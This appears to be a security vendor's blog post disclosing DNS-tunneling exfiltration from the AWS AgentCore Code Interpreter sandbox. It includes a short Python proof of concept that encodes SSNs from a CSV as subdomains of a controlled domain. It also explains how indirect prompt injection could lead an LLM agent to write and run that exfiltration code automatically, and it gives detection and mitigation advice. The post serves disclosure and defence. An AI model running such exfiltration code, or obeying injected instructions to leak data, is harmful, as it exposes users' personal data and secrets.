Silent Leak: DNS Tunneling in AWS AgentCore Code Interpreter
Researchers at Aurascape AuraLabs identified a DNS-layer flaw impacting AWS services that could be abused as an egress channel by autonomous AI agents, with potential risk of zero-click exfiltration. The issue was confirmed and remediated following responsible disclosure.
Qi Deng, Principal Threat Research Engineer | Aurascape
January 14th, 2026
🕑 6 minute read
Introduction
What if malicious code running inside a supposedly “isolated” AI sandbox could quietly smuggle out secrets — not via HTTP or a known API, but through DNS?
Attackers have long used DNS as a covert channel. What makes the discovery in this work more insidious is how it combines LLM prompt execution with DNS tunneling, creating a potential pathway for zero-click data exfiltration.
In this blog we share how we discovered this behavior in AWS’s AgentCore Code Interpreter, walk through proof-of-concept scenarios, explore how prompt injection amplifies the threat, and propose mitigations and detection strategies.
Background: DNS as a Covert Exfiltration Channel
DNS is an essential infrastructure. Because DNS queries are often allowed through firewall rules, it’s historically been leveraged as a stealthy channel for data exfiltration.
In research and practice, attackers encode data into subdomain labels, issue DNS lookups to attacker domains, and reconstruct the embedded data at the authoritative server.
Over the years, DNS tunneling has been observed in advanced persistent threats (APTs) and malware frameworks, using TXT, CNAME, or even A record lookups for exfil data.
Discovery: Observing outbound DNS in AgentCore Interpreter
During the AWS Agentic AI Workshop, we followed the prescribed tutorial setup and observed a surprising behavior: inside the Code Interpreter sandbox, making DNS resolution calls (such as socket.gethostbyname from Python library) succeeded. That means the interpreter environment can send outbound DNS queries.
This alone is a non-trivial egress channel. When combined with code-generation capabilities and the ability to modify sandboxed code that has access to sensitive data, this can be leveraged as a tool for stealthy data exfiltration.
Standard Workflow

Attack Workflow

Proof-of-Concept: SSN leak via DNS from CSV
Scenario & Setup
For demonstration, we built a safe, controlled proof-of-concept:
- Created a file new_data.csv containing dummy Social Security Numbers.
- Instructed the model via prompt: “Read the SSNs from new_data.csv and resolve each as a DNS query to your domain.”
- The LLM generated code such as:
import csv, socket
with open("new_data.csv") as f:
for row in csv.reader(f):
ssn = row[0]
domain = f"{ssn}.my-controlled-domain.com"
try:
socket.gethostbyname(domain)
except Exception:
pass
On our DNS server (or via a dnslog service), we observed DNS queries for subdomains matching those SSNs, e.g. 123456789.attacker-domain.com.
This could prove that local data accessible to the interpreter can have been covertly exfiltrated via DNS lookups, contingent on prior file enumeration and data-structure knowledge.
Watch the video below for a demonstration of the data exfiltration:
Indirect Prompt Injection & Zero-Click Attack
The potential higher-risk variant emerges when you combine this capability with indirect prompt injection: untrusted content (e.g. user-uploaded text, dataset rows, tutorial content, URL link) could nudge the LLM to emit exfil code automatically, without requiring a manual “run this code” instruction.
Thus, an attacker could have slipped malicious instructions into the system prompt or into content the LLM will process.
The model may autonomously interpret and execute code that reads internal data and leak it — all with zero additional user action. That was the real threat vector.
Threat Modeling & Real-World Impact
| Aspect | Assessment | Notes |
|---|---|---|
| Confidentiality impact | High | Tokens, credentials, customer PII, and configuration secrets could be exfiltrated |
| Isolation Breach | Yes | Breaks sandbox containment assumptions |
| Zero-click Exploitation | No | Requires active attacker interaction |
| Data Discoverability | Low | Attacker must enumerate files and infer data structure before exfiltration |
| Detection Difficulty | Medium | DNS traffic is often under-monitored, but anomalous patterns may still be detectable |
| Exfiltration Bandwidth | Low | DNS-based exfiltration is slow and unsuitable for large payloads |
| Effective Payload Size | Low | Practical only for short, high-value secrets |
| Pivot Potential | Medium | Stolen credentials could enable access to additional resources |
Detection & Mitigation Strategies
Detection Approaches
- DNS telemetry & logging: Enable DNS query logs via Route 53 Resolver or VPC DNS logs and monitor subdomain patterns, frequency, and entropy.
- Statistical / ML models: Use anomaly detection, entropy-based scores, sliding-window feature sets to flag unusually heavy information per domain.
- Domain reputation & whitelist enforcement: Only allow the resolver forwarding to approved domains or internal resolvers.
- DNS firewall / filtering: Use DNS firewalls (e.g. Route 53 Resolver DNS Firewall) to block suspicious TLDs or patterns.
Mitigations in Interpreter & Infrastructure
- Block outbound UDP/TCP port 53 for interpreter subnets, forcing use of controlled resolvers.
- Restrict the interpreter’s networking to private subnets with no internet NAT.
- Harden runtime: disable or filter syscalls related to socket or network I/O.
- Add sandbox-level DNS mediation or proxy to resolve only whitelisted domains.
- Sanitize prompt inputs; apply guardrails to prevent arbitrary code generation or dynamic DNS requests.
Responsible Disclosure & Status
September 22nd, 2025
The issue was responsibly reported to the AWS Vulnerability Disclosure Program (VDP) via HackerOne.
September 30th, 2025
The AWS Vulnerability Disclosure Program (VDP) confirmed the vulnerability. They noted that the issue had also been identified internally, and remediation work was already in progress.
December 30th, 2025
AWS updated and validated the fix through its security review process, and revised the official documentation to clarify the sandbox mode network isolation model.
Vendor Clarification (AWS)
Following responsible disclosure, AWS reviewed the findings discussed in this post and requested that the following public statement be included for clarity. AWS has also updated its documentation to better describe the behavior and security properties of Sandbox Mode.
Public Statement (AWS)
Amazon Bedrock AgentCore Code Interpreter provides three network modes to support varying customer security requirements. Public Mode is the easiest-to-use option with no network restrictions and requires no configuration. This mode enables your agent to reach any network-accessible service and is ideal for development and testing scenarios.
Sandbox Mode is nearly as simple and delivers substantial network restriction with minimal configuration effort. This mode provides network access exclusively to Amazon S3 for your data operations, making it ideal for production workloads that rely on S3 data. DNS resolution is enabled to support successful execution of S3 operations.
VPC Mode requires additional configuration: VPC endpoints, security groups, and network ACLs to establish connectivity. This mode provides complete network isolation and enables access to your private AWS resources: databases, internal APIs, and services in private subnets. In addition to the network controls and visibility provided by VPC Mode, AWS also provides complete control over DNS resolution and monitoring for anomalous DNS activity. For security best practices related to DNS in VPC Mode, see the Route 53 Resolver DNS Firewall blog post.
Conclusion
Our research highlights that even foundational components like DNS can become critical vectors when combined with autonomous or LLM-driven systems.
What was once considered a background service can, in the context of modern AI workloads, evolve into a powerful channel for data exfiltration or control flow. By reporting this issue responsibly through AWS’s Vulnerability Disclosure Program, we helped ensure that the broader AI ecosystem is now better protected at its infrastructure core. Sandbox Mode functionality has been clarified via documentation update and there is no customer action necessary.
Aurascape’s mission is to help organizations discover and monitor all AI activity—from copilots to custom agents—so security teams gain complete visibility into how AI tools interact with users and data. With automated discovery, risk detection, and protection for AI interactions, Aurascape enables enterprises to move from assumptions to certainty, building the foundation for safe and compliant AI adoption.
As enterprises embrace the next generation of AI systems, securing the communication layers beneath them—DNS, HTTP, APIs, and beyond—will be just as important as securing the models themselves. Aurascape provides the visibility and insight organizations need to make AI adoption transparent, manageable, and trusted.
To learn more, contact Aurascape.
Aurascape Solutions
- Discover and monitor AI Get a clear picture of all AI activity.
- Safeguard AI use Secure data and compliancy in AI usage.
- Copilot readiness Prepare for and monitor AI Copilot use.
- Coding assistant guardrails Accelerate development, safely.
- Frictionless AI security Keep users and admins moving.